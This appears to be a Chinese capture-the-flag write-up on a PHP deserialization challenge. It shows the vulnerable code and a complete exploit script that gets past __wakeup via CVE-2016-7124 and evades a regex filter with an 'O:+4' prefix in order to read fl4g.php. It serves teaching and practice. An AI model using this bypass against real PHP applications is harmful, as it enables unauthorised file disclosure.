看题目,应该是php反序列化
    首先看下代码

    1. <?php
    2. class Demo {
    3. private $file = 'index.php';
    4. public function __construct($file) {
    5. $this->file = $file;
    6. }
    7. function __destruct() {
    8. echo @highlight_file($this->file, true);
    9. }
    10. function __wakeup() {
    11. if ($this->file != 'index.php') {
    12. //the secret is in the fl4g.php
    13. $this->file = 'index.php';
    14. }
    15. }
    16. }
    17. if (isset($_GET['var'])) {
    18. $var = base64_decode($_GET['var']);
    19. if (preg_match('/[oc]:\d+:/i', $var)) {
    20. die('stop hacking!');
    21. } else {
    22. @unserialize($var);
    23. }
    24. } else {
    25. highlight_file("index.php");
    26. }
    27. ?>

    关键点有四处,

    1. __construct方法在对象创建时调用,覆盖私有变量$file
    2. __destruct方法在对象被销毁时自动调用,此段代码中会将$this->file的内容高亮显示。
    3. __wakeup方法在unserialize()时被调用,会覆盖$fileindex.php
    4. preg_match('/[oc]:\d+:/i', $var)正则匹配传入的$var的内容,开头是o或c、匹配一个或多个数字、不区分大小写。

    首先是利用__construct$file覆盖为fl4g.php,new对象时传入参数即可,然后使用CVE-2016-7124绕过__wakeup方法,最后,再利用序列化的一个小特性:

    1. O:+4:"test":1:{s:1:"a";s:3:"aaa";}
    2. O:4:"test":1:{s:1:"a";s:3:"aaa";}

    这两个都可以被序列化成功,并且结果相同。

    exploit:

    1. <?php
    2. class Demo {
    3. private $file = 'index.php';
    4. public function __construct($file) {
    5. $this->file = $file;
    6. }
    7. function __destruct() {
    8. echo @highlight_file($this->file, true);
    9. }
    10. function __wakeup() {
    11. if ($this->file != 'index.php') {
    12. //the secret is in the fl4g.php
    13. $this->file = 'index.php';
    14. }
    15. }
    16. }
    17. $a= new Demo('fl4g.php');
    18. $b=serialize($a);
    19. $b=str_replace('O:4','O:+4',$b);
    20. $b=str_replace('1:{','2:{',$b);
    21. echo base64_encode($b);
    22. ?>

    之所以要在php中完成替换,base64编码等操作,是因为$file是私有变量,在序列化后两边会加上%00,如果直接拿去网页base64编码会丢失,所以直接一起弄了。